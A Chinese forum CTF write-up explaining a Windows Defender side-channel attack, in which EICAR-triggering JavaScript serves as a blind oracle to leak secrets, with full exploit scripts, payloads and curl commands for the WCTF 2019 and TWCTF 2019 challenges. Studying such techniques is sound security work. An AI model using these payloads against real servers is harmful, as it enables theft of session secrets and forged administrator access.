# Windows Defender 侧信道攻击

**URL:** <https://forum.90sec.com/t/topic/406>\
**Category:** 技术文章\
**Created:** [2019 年9 月 17 日 14:56 UTC](https://forum.90sec.com/t/topic/406 "2019-09-17T14:56:14Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

作者： ![Zedd](https://forum.90sec.com/user_avatar/forum.90sec.com/zedd/32/2210_2.png) [@Zedd](https://forum.90sec.com/u/Zedd)\
发布日期： [2019 年9 月 17 日 14:56 UTC](https://forum.90sec.com/t/topic/406/1 "2019-09-17T14:56:14Z")

</div>

在今年的 WCTF 2019 上，Tokyo Westerns 出了一道与 Windows Defender 侧信道攻击相关的题目，在 Tokyo Westerns CTF 2019 上也有一道与之有关的题目 PHP Note，看了感觉比较有趣，但是我看的网络文章写的都比较粗略，这里我就记录一下自己的分析。

## Windows Defender

众所周知，Windows Defender 是 Windows 10 平台上一款自带的安全防护软件， ~~游戏弹窗杀手~~

> Windows Defender（Windows 10 创意者更新后名为Windows Defender Antivirus），曾用名Microsoft AntiSpyware，最初是用来移除、隔离和预防间谍软件的程序，可以运行在Windows XP以及更高版本的操作系统上，并已经内置在Windows Vista以及以后的版本中。Windows Defender的定义库更新很频繁。在Windows 8及之后的系统中取代Microsoft Security Essentials，成为一款全面反病毒软件。
> 
> Windows Defender不像某些其他同类免费产品一样只能扫描系统，还可以对系统进行实时监控，移除已经安装的ActiveX插件，清除大多数微软的程序和其他常用程序的历史纪录。

## What Windows Defender will do

根据 TW 的分析，Windows Defender 会有以下行为：

1. 检查文件内容是否有恶意内容
2. 改变恶意文件的权限以避免用户去加载
3. 替换恶意内容为空
4. 删除整个文件

在第二步中，如果文件被 Windows Defender 检测出是恶意文件的话，用户就不可以访问了。

## Make Windows Defender Angry

### EICAR

> EICAR标准反病毒测试文件，又称EICAR测试文件, 是由欧洲反计算机病毒协会（EICAR）与计算机病毒研究组织（CARO）研制的文件, 用以测试杀毒软件的响应程度。不同于使用可能造成实际破环的实体恶意软件，该文件允许人们在没有计算机病毒的情况下测试杀毒软件。

我们可以使用以下字符串测试 Windows Defender

```auto
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

```

只需要将这个字符串复制，然后保存在一个空白的 txt 文件当中即可触发 Windwos Defender，所以我们先通过这个样例来检查一下自己的 Windows Defender 是否开启。

### Mpengine.dll

根据 Tokyo Westerns 的分析，Windows Defender 有一个核心 dll 文件 Mpengine.dll ，他可以对不同的内容进行分析，包括一些 base64 encode/RAR archived/etc. ，其中比较有意思的是它还有一个 Javascript Engine。

这个引擎可以分析 HTML 文档，并且可以分析其中的 Javascript 代码，包括对文档中的 DOM 元素的访问。

我们可以做个简单的验证，我们先只使用以下代码测试：

```javascript
var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";

```

 ![1](https://forum.90sec.com/uploads/default/original/2X/5/5fe03155bf045a4fd9268d129f7a565f6c5d61ad.png)

可以发现我们并没有触发 Windows Defender，即使字符串是 EICAR 测试样本，说明了字符串不受 EICAR 特征影响。

接着我们尝试添加一下 `eval` ：

```javascript
var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);

```

 ![2](https://forum.90sec.com/uploads/default/original/2X/e/ee1414afb4f914a1369c7b6e0197c515a15d9410.png)

没错，在保存的时候就立马触发了 Windows Defender ，足以验证当中有一个 Javascript Engine 进行了内容检测，而且即使没有完整的 Javascript 标签，也可以触发 Windows defender。

### Interesting Check

接下来我们再看几个测试例子：

```xml
<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>

```

 ![3](https://forum.90sec.com/uploads/default/original/2X/f/fc0242ad0848d04a7499de692e25156ae002e8db.png)

非常棒，并没有被检测出恶意内容。

接着我们再试着加一个 `<body>` 标签:

```xml
<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

```

 ![4](https://forum.90sec.com/uploads/default/original/2X/4/4bd820e665ffb4349dad8a8abc83c93161c49b88.png)

也很棒，也没有检测出恶意内容。

让我们再操作一下 DOM 元素：

```xml
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

```

 ![5](https://forum.90sec.com/uploads/default/original/2X/0/0e7ce8cbb869817e7cd1dfce88630b6ad44e1196.png)

Done! 触发了恶意内容检测。

那如果我们把 EICAR 内容进行一下拆分呢？

```xml
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>a</body>

```

 ![6](https://forum.90sec.com/uploads/default/original/2X/d/d95c7944a99db7641d8908fc0fa42e879d575113.png)

这里我们获取的是 `<body>` 标签中的第一个字符，也就是 `a` ，不构成 EICAR 测试样本，所以触发不了 Windows Defender 也很正常。

那我们改一下 `<body>` 标签当中的内容呢？使用 `*` 试试看

```xml
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>*</body>

```

 ![7](https://forum.90sec.com/uploads/default/original/2X/2/238454d0c0166f0823282c876865dded16104afb.png)

很棒，意料之中地触发了 Windows Defender。

### Go Hacking

那触发 Windows Defender 会有什么问题吗？虽然这里看似没什么毛病，但是放到业务代码里面就不一样了。

仔细想想一般程序猿会这么写文件呢？细心的程序猿在进行写文件之后要 check 一遍是否写入成功，类似:

```auto
$err = file_put_contents('/tmp/file_name', 'something need to be saved');
if(!$err)                    
  return Exception;

```

`file_put_contents` 在写入成功后返回写入多少个字节，失败的时候返回 `False` ，然后我们就可以利用这个特性，当我们写入恶意数据的时候，因为 Windows Defender 检查出恶意内容，禁止了用户读取权限或者删除了文件，导致服务因为检查写入不成功抛出异常，而对于我们来说可能直接返回错误的状态码类似 500 。

所以我们可以总结一下，大致我们可以有这么一套侧信道攻击的攻击链：

```auto
eval("EICA"+input) -> ?
    detected -> input is 'R'
    not detected -> input is not 'R'

```

如果内容中有 `<body>` 标签，并且如果有无法通过正常手段读到的数据，我们可以尝试用这种类似“盲注”的方式去获取秘密数据

```auto
JavaScript can access the elements :)
○ if they have <body> tag
○ <script>document.body.innerHTML[0]</script><body>[secret]</body>

```

这里需要注意的是，Tokyo Westerns 指出使用 `if` 语句构造的 EICAR 样本，Windows Defender 是不会检测出来的，例如以下 payload ， `mal` 已经可以构造出 EICAR 样本，但是不会触发 Windows Denfender 的，但是大致思路我们可以通过这段代码来理解

```xml
<script>
var n = 'a';
if(document.body.innerHTML[0] > 'a')
    n = '*';
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + n;
eval(mal);
</script>
<body>flag{aaa}</body>

```

然后我们大致修改一下，不使用 `if` 作为判断选择条件，使用 `Math.min()` 作为判断选择，所以大致我们可以得到这么个 payload :

```xml
<script>
    var num = 90;
    var body = document.body.innerHTML[0].charCodeAt(0);
    var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + {[num] : '*'}[Math.min(num ,body)];
    eval(mal);
</script>
<body>flag{aaa}</body>

```

因为 `body` 获取到的是 `f` 的 ascii 码为 102 ，大于 90 ，所以 `Math.min()` 返回值为 90 ， `{[num]:'*'}` 创建了一个 key 为 90 ，value 为 `*` 的对象，这里注意需要用 `[num]` 把 `num` 当作变量，因为如果直接使用 `{num:'*'}` ，这样是创建了一个 key 为 num 的一个字符串， value 为 `*` 的对象

```auto
> var num = 90;
undefined
> var n = {num : '*'};
undefined
> console.log([num]);
[90]
undefined
> console.log(n[num]);
undefined
undefined
> console.log(n['num']);
*
undefined
> console.log(n);
{ num: '*' }

```

 ![8](https://forum.90sec.com/uploads/default/original/2X/8/8c364a1ba7f9d69efae9066e9d06a82879706cc8.png)

这样我们就可以通过“盲注”的方式获取 `<body>` 标签中的秘密数据了。

## Gyotaku The Flag

题目源码在 [Gyotaku The Flag](https://github.com/icchy/wctf2019-gtf)，slides 在 [WCTF2019: Gyotaku The Flag](https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf)

有了以上的知识，让我们回到 WCTF 2019 Gyotaku The Flag 这道题上，这道题有这么几个路由

```auto
e.GET("/", IndexHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku", GyotakuListHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku/:gid", GyotakuViewHandler(dbconn), LoginRequiredMiddleware)
e.GET("/flag", FlagHandler, InternalRequiredMiddleware)

e.POST("/login", LoginHandler(dbconn))
e.POST("/gyotaku", GyotakuHandler(dbconn), LoginRequiredMiddleware)

```

### So easy to GetFlag

在 `/flag` 的路由上有一个类似于中间件的功能： `InternalRequiredMiddleware`

```auto
func InternalRequiredMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        ip := net.ParseIP(c.RealIP())
        localip := net.ParseIP("127.0.0.1")
        if !ip.Equal(localip) {
            return echo.NewHTTPError(http.StatusForbidden)
        }
        return next(c)
    }
}

```

以及 `FlagHandler` :

```auto
func FlagHandler(c echo.Context) error {
    data, err := ioutil.ReadFile("flag")
    if err != nil {
        return err
    }
    return c.String(http.StatusOK, string(data))
}

```

可以看到这是一个控制只能 `127.0.0.1` 访问的功能函数，用于构造题目的 SSRF 这么一个类似的关卡，可是由于出题人不是特别细心， `echo.Context.RealIP` 可以被 `X-Real-IP` 绕过，所以导致了当时很多人直接通过这个方式拿到了 flag …

~~题目结束，分析完了，关了吧别看了，后面都是扯淡，拿到 flag 就是王道，管他用什么方式~~

### The better way to GetFlag

好了，我们接下来分析分析比较有意思的预期解。

`/login` 路由比较简单，使用的是 `goleveldb` 做的数据操作

`/gyotaku` 路由 GET 方法列举用户有多少金坷垃

`/gyotaku/:gid` 从文件中查找 `gid`

我们可以在 `/gyotaku` 路由的 POST 方法中看到接收了一个 url 参数，并对 url 进行了请求：

```auto
url := c.FormValue("url")
...
resp, err := http.Get(url)

```

这就是我们需要的 SSRF 的点了，传入 url 让服务器请求这个 URL 。

然后我们可以接着往下看，注意到有个写文件的操作：

```auto
resp, err := http.Get(url)
if err != nil {
  return err
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
  return err
}

// save gyotaku
gyotakudata := &GyotakuData{
  URL: url,
  Data: string(body),
  UserName: username,
}

buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
  return err
}
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
if err != nil {
  return err
}

```

这段将 `GyotakuData` 写入了一个文件当中，并且跟我们上文提到的写文件方法一致，判断了是否写入成功，不成功就返回 `err` ，并且在这里三个写入的参数我们都可控。

所以我们现在可以有一个大致思路，通过提交 `{"url":"http://127.0.0.1/flag"}` 到 `/gyotaku` 路由，构成一个 SSRF ，这时候 `/flag` 路由会返回 flag ，通过以上代码解析，flag 被放到了 `Data` 中，接着我们再看一下 `GyotakuData` 结构体

```auto
type GyotakuData struct {
    URL string `json:"url"`
    Data string `json:"data"`
    UserName string `json:"username"`
}

```

如果中间是 `Data` 是我们 `<body>` 标签的 secret 数据，那么 `UserName` 我们就需要一个 `</body>` 标签将其闭合，前面 URL 怎么构造好呢？

因为 `/flag` 路由是不处理任何 GET 参数的，所以我们可以尝试把我们需要构造的 payload 放到 URL 参数当中，这样就可以构造了我们上文的 Payload 了，我们需要构造的大致就是以下这样：

```auto
type GyotakuData struct {
  URL string "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
  Data string "flag{test}"
    UserName string "</body>"
}

```

这样服务把 `GyotakuData` 结构体写入文件当中了:

```auto
...GyotakuData...URL...Data...UserName...http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>...
flag{test}...</body>...

```

为了方便阅读，上面我用 `...` 代替了不可见字符，可以用以下测试代码进行测试：

```auto
package main

import (
    "bytes"
    "encoding/gob"
    "io/ioutil"
)

type GyotakuData struct {
    URL string `json:"url"`
    Data string `json:"data"`
    UserName string `json:"username"`
}

func main() {
    url := "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
    body := "flag{test}"
    username := "</body>"

    gyotakudata := &GyotakuData{
        URL: url,
        Data: body,
        UserName: username,
    }
    buf := bytes.NewBuffer(nil)
    gob.NewEncoder(buf).Encode(gyotakudata)
    ioutil.WriteFile("test.txt", buf.Bytes(), 0644)
}

```

这样只要我们每次控制 num 的值，我们就可以在服务器 500 的时候判断我们设立的条件是否成立了。这里直接给出 TokyoWesterns 的 exp 脚本，他们使用了二分法加快判断：

```python
import requests

URL = "http://192.168.122.78" # changeme

def randstr(n=8):
    import random
    import string
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx, sess):
    import string
    prefix = randstr()
    p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
    p = string.Template(p).substitute({'idx': idx, 'c': c})
    req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
    return req.json()

def leak(idx, sess):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        gid = trigger(m, idx, sess)
        if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
            l = m
        else:
            h = m
    return chr(l)

sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})

data = ''
for i in range(30):
    data += leak(i, sess)
    print(data)

```

这里 `trigger` 函数中 idx 就是获取的 `<body>` 标签中的第几位，c 就是我们传入的用于比较的 ascii 码值。至此，这题就分析完毕了。

## PHP Note

在 TokyoWesterns CTF 2019 上，由于 WCTF 2019 上的失误，让他们又出了一道与之相关的题目。

```php
<?php
include 'config.php';

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

function is_login() {
    return !empty($_SESSION['secret']);
}

function redirect($action) {
    header("Location: /?action=$action");
    exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
    redirect('index');
}

if ($action === 'source') {
    highlight_file( __FILE__ );
    exit();
}

session_start();

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];

    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

if ($action === 'logout') {
    session_destroy();
    redirect('index');
}

if ($action === 'post') {
    if ($method === 'POST') {
        $title = (string)$_POST['title'];
        $body = (string)$_POST['body'];
        $note->addnote($title, $body);
        $data = base64_encode(serialize($note));
        setcookie('note', (string)$data);
        setcookie('hmac', (string)hmac($data));
    }
    redirect('index');
}

if ($action === 'getflag') {
    $note->getflag();
}

?>
<!doctype html>
<html>
    <head>
        <title>PHP note</title>
    </head>
    <style>
        textarea {
            resize: none;
            width: 300px;
            height: 200px;
        }
    </style>
    <body>
        <?php
        if (!is_login()) {
            $realname = htmlspecialchars($realname);
            $nickname = htmlspecialchars($nickname);
        ?>
        <form action="/?action=login" method="post" id="login">
            <input type="text" id="firstname" placeholder="First Name">
            <input type="text" id="lastname" placeholder="Last Name">
            <input type="text" name="nickname" id="nickname" placeholder="nickname">
            <input type="hidden" name="realname" id="realname">
            <button type="submit">Login</button>
        </form>
        <?php
        } else {
        ?>
        <h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
        <a href="/?action=logout">logout</a>
        <!-- <a href="/?action=source">source</a> -->
        <br/>
        <br/>
        <?php
            foreach($note->getnotes() as $k => $v) {
                list($title, $body) = $v;
                $title = htmlspecialchars($title);
                $body = htmlspecialchars($body);
        ?>
        <h2><?=$title?></h2>
        <p><?=$body?></p>
        <?php
            }
        ?>
        <form action="/?action=post" method="post">
            <input type="text" name="title" placeholder="title">
            <br>
            <textarea name="body" placeholder="body"></textarea>
            <button type="submit">Post</button>
        </form>
        <?php
        }
        ?>
        <?php
        ?>
        <script>
            document.querySelector("form#login").addEventListener('submit', (e) => {
                const nickname = document.querySelector("input#nickname")
                const firstname = document.querySelector("input#firstname")
                const lastname = document.querySelector("input#lastname")
                document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
                if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
                    nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
                }
            })
        </script>
    </body>
</html> 

```

乍一看确实没有任何的漏洞点，让人比较在意的只有 `unserialize` 函数，我们关注的是 `getflag()` ，条件是成为管理员，而我们可以看到有以下条件：

```auto
function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

...

$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
  ? unserialize(base64_decode($_COOKIE['note']))
  : new Note(false);

```

如果没有通过 `verify` 函数判断， `Note` 的构造函数会设置 `$this->isadmin = False;` ，但是 `$_SESSION['secret']` 又由 `gen_secret` 函数生成， `SALT` 和 `PEPPER` 我们都不知道，用一般的方法拿到 secret 基本不可能。

```auto
function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

...

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

```

而 `hash_equals` 也没有什么绕过的办法，所以这里看起来似乎没有什么正常的办法。

大致我们可以知道要获取 Flag ，就要成为 admin ，要成为 admin 就要知道 `$_SESSION['secret']` 。

题目的大致功能也比较简单，只有登录注销、增加 post 功能，但是我们可以从相应头发现一些蛛丝马迹：

```auto
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9

```

之后我们就可以从这里大概猜到其实与上题一致，为什么这么说呢？

- `$_SESSION['secret']` 存放在 Session 文件当中
- Session 文件又存放在本地文件系统中
- 如果 Session 文件含有恶意内容就会被 Windows Defender 阻止访问造成登录失败
- 这样我们似乎可以通过是否登录成功来获得 `$_SESSION['secret']`

我们可以本地进行测试一下，随便登录一个发现 session 文件内容是

```auto
realname|s:9:"zedd zedd";nickname|s:6:"yoyoyo";secret|s:32:"621e1d6607af0b500603e68b23e042e2";

```

发现 secret 竟然是在我们可控数据的后面，如果没有 `</body>` 标签闭合，Windows Defender 的 JS Engine 不像现代浏览器一样可以闭合标签，这样我们也达不到我们侧信道攻击的效果，所以我们需要找到一个办法让我们可控的地方在 secret 数据后面才行。

让我们再回顾一下登录逻辑

```php
if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

```

其中我们可以看到这里有一个 `$nickname` 为空的判断，我们看看当 `$nickname` 为空的时候登录，session 文件会是怎么样的：

```auto
realname|s:9:"zedd zedd";secret|s:32:"8b9a527ff677cb223afa87dad7c9e6f8";

```

此时如果我们不注销，直接再次发一个含有 nickname 的登录包，看看又会有什么效果

```auto
realname|s:9:"zedd zedd";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:6:"yoyoyo";

```

！！！这种数据格式不正是我们所需要的侧信道攻击格式吗！这样我们就可以通过 Windows Defender 侧信道攻击把 secret 读出来了！

只要我们构造类似如下的 payload 就可以了( x 为序列化之后的字符串长度)：

```auto
realname|s:x:"<script>var body = document.body.innerHTML;var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H;' + body[0];eval(mal);</script><body>";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:x:"</body>";

```

接下来就是与上面类似的步骤，利用“盲注”的形式来读 secret ，下面就贴一下 r3kapig 师傅们的脚本：

```python
import requests

URL = "http://phpnote.chal.ctf.westerns.tokyo" # changeme

def trigger(c, idx):
   import string
   p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
   p = string.Template(p).substitute({'idx': idx, 'c': c})
   return p

def leak(idx):
   l, h = 0, 0x100
   while h - l > 1:
       m = (h + l) // 2
       gid = trigger(m, idx)
       # r = requests.post(URL + '/?action=login', data={'realname': gid, 'nickname': '1'})
       # print r.content
       # exit()
       s = requests.session()
       s.post(URL + '/?action=login', data={'realname': gid, 'nickname': ''})
       if "/?action=login" in s.post(URL + '/?action=login', data={'realname': gid, 'nickname': '</body>'}).content:
           l = m
       else:
           h = m
   return chr(l)

data = ''
for i in range(100):
   data += leak(i)
   print(data)

```

拿到 secret 之后，就可以构造 Note 类了：

```php
<?php

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return "2532bd172578d19923e5348420e02320";
}

// create session
$_SESSION = Array();
$_SESSION['secret'] = gen_secret('');
$_SESSION['realname'] = "stypr stypr";
$_SESSION['nickname'] = "";

// generate note
$note = new Note(true);
$note->addnote("work", "work");
$data = base64_encode(serialize($note));

/* verify
//echo "Data: ".(string)$data."\n";
//echo "HMAC: ".(string)hmac($data)."\n";
//echo "-----";
//var_dump(verify((string)$data, (string)hmac($data)));
*/
?>
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=logout' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --insecure
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=login' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --data 'nickname=</body>&realname=stypr+stypr' --compressed --insecure
curl -s "http://phpnote.chal.ctf.westerns.tokyo/?action=getflag" -H "Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a; note=<?php echo $data; ?>; hmac=<?php echo hmac($data); ?>;"

```

```auto
$ php flag.php | sh | grep "TWCTF"
TWCTF{h0pefully_I_haven't_made_a_m1stake_again}<!doctype html>

```

## One More

其实个人觉得 Windows Defender 这个 JS Engine 还是有很多没发掘的地方，奈何自己逆向水平不够，这里放几个会议的分享吧

[Windows Offender: Reverse Engineering Windows Defender’s Antivirus Emulator](https://www.blackhat.com/us-18/briefings/schedule/index.html#windows-offender-reverse-engineering-windows-defenders-antivirus-emulator-9981)

## Reference

[Playing with Windwos Defender](https://xz.aliyun.com/t/6216)

[r3kapig - PHP Note](https://r3kapig.com/writeup/20190904-tokyowesterns/#php-note)

[balsn - PHP Note](https://balsn.tw/ctf_writeup/20190831-tokyowesternsctf/#php-note)

[#CTF](https://blog.zeddyu.info/tags/CTF/)

---

<div class="post-metadata">

作者： ![maplgebra](https://forum.90sec.com/user_avatar/forum.90sec.com/maplgebra/32/1628_2.png) [@maplgebra](https://forum.90sec.com/u/maplgebra)\
发布日期： [2019 年9 月 17 日 16:50 UTC](https://forum.90sec.com/t/topic/406/2 "2019-09-17T16:50:44Z")

</div>

这个地方确实很有趣，我做这个题的完全想不到这种方法，正如作者说的，他想出一道，所有人都做不出来的题目 膜）,但是由于作者对echo框架不熟悉直接导致这个题gg了。起初我看到尽然有go的题，不可思议，因为几乎所以带go的cve 在攻击链上都比较巧妙，但是在ctf上go的题目还是算比较简单。我也研究了很久，这个题在爆破的算法上也可以去安利一下，也是比较精妙。如果你看过c3的题，还有利用chrome xss auditor来搞的。 我认为这是一种的新扩展的攻击面，但是似乎没有多少人在意 :( ，还有我认为一个比较好的web题以后的常态是多少要带点爆破的过程在里面的，不可能是那种一步到位的。 楼主思考的写的很棒！ 赞）
